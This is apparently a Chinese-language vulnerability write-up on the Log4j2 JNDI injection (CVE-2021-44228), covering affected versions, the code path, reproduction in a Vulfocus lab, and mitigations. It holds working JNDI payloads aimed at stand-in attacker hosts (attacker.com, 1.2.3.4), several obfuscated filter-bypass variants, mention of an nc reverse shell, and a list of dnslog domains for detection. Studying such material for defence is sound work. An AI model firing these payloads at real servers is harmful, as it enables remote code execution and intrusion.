Apache Log4j2 remote code execution vulnerability
漏洞描述
Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞。
漏洞利用无需特殊配置,经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响
Who is impacted?
许多厂商都容易受到这种攻击,Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。Github上总结了大量受害厂商:GitHub - YfryTchsGD/Log4jAttackSurface
Affected Apache log4j Versions
Apache Log4j 2.x < 2.15.0-rc2
Vulnerability analysis
略去一些非关键流程,日志信息最终会进入MessagePatternConverter.java 文件的format方法,如下图,当日志信息中出现 "${"关键字 则通过StrSubstitutor.java的replace方法对其进行替换和解析
最终通过StrSubstitutor.java文件中的substitute方法对传入的日志信息进行替换。这个函数主要作用就是提取出日志信息中的${}信息,并根据内容调用。varName就是提取出来的关键信息,最关键的位置如下:
在lookup中,prefix是对应配置类,name是其参数并通过调用对应方法进行解析

lookup保存有如下解析类:
最终在JndiLookup.java中触发漏洞
How the Exploit
攻击原理
1 |
|
攻击步骤
- 攻击者向漏洞服务器发起攻击请求。
- 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a}
,attacker.com
是攻击者控制的地址。 - 记录的恶意负载被触发,服务器通过JNDI向
attacker.com
请求。 attacker.com
就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
。- 攻击者执行恶意脚本。
How to 复现
1. 创建一个恶意类
1 |
|
把这个类编译之后会得到一个Log4jRCE.class并在该目录下运行启动http.server,python或php均可快速启动,如php -S 127.0.0.1:8888或python -m SimpleHTTPServer 8888

2.启动IDAP服务
1 |
|

3.Run

Goby快速验证

VulFocus靶场复现
在线构建
http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c
或通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行,本地启动命令:docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

在自己的VPS上,用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar开启ldap和rmi服务
1 |
|
构建数据包
1 |
|
send requests

查看请求记录:

nc反弹获取shell

Other Payload
payload=${jndi:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${jndi:${lowEr:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${${sys:sun.cpu.isalist}jndi:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}:${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}://1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1.2.3.4:1234/TomcatBypass/TomcatEcho}
payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1.2.3.4:1234${sys:file.separator}TomcatBypass${sys:file.separator}TomcatEcho}
payload=${${sys:sun.cpu.isalist}j${sys:sun.cpu.isalist}n${sys:sun.cpu.isalist}d${sys:sun.cpu.isalist}i${sys:sun.cpu.isalist}${sys:path.separator}${lower:LDAP}${sys:path.separator}${sys:file.separator}${sys:file.separator}1${sys:sun.cpu.isalist}.2${sys:sun.cpu.isalist}.3${sys:sun.cpu.isalist}.4${sys:sun.cpu.isalist}${sys:path.separator}1234${sys:file.separator}TomcatBypass${sys:file.separator}TomcatEcho}
Temporary solution
1、设置jvm参数:
“-Dlog4j2.formatMsgNoLookups=true”;
2、添加log4j2.component.properties配置文件,设置:
“log4j2.formatMsgNoLookups=True”;
3、系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”;
4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护;
5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下:
ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
awvsscan119.autoverify.cn
burpcollaborator.net
s0x.cn
Reference
GitHub - tangxiaofeng7/apache-log4j-poc: Apache Log4j 远程代码执行
Remote code injection in Log4j · CVE-2021-44228 · GitHub Advisory Database · GitHub